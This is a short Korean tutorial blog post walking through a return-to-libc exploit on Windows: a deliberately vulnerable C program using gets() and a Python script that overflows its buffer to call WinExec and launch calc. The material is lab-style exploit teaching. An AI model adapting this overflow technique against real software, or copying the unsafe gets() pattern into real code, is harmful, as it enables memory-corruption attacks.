-
Windows RTLHack/Windows 2016. 6. 2. 02:48
RTL도 그냥 리눅스랑 동일하게 하면되요
바로 진행할게요
#include <stdio.h> #include <Windows.h> char calc[] = "calc\0"; int main(int argc, char *argv[]) { char buf[256]; printf("%p\n",calc); gets(buf); WinExec("cmd", 1); printf("%s\n", buf); }
일단 취약점이존재하고, WinExec가 실행되는 바이너리에요
calc를 쉽게 실행할수있게 전역변수로 놔두고 전역변수의 주소를 출력했어요
바로 함수주소 알아와주고, calc 문자열이있는주소도 알아주고 바로 익스해볼게요
import struct from subprocess import * p = lambda x:struct.pack("<L",x) proc = Popen("rtl.exe",stdin=PIPE) winexec = 0x754331f9 payload = "\x90"*260 payload += p(winexec) payload += "AAAA" payload += p(0x403020) payload += p(1) proc.stdin.write(payload)
'Hack > Windows' 카테고리의 다른 글
CoolPlayer Overflow (0) 2016.06.03 Windows ROP (0) 2016.06.03 SafeSEH 우회 (0) 2016.06.02 Virtual Table(Vtable), Overwrite (3) 2016.06.02 SEH Overwrite (0) 2016.06.01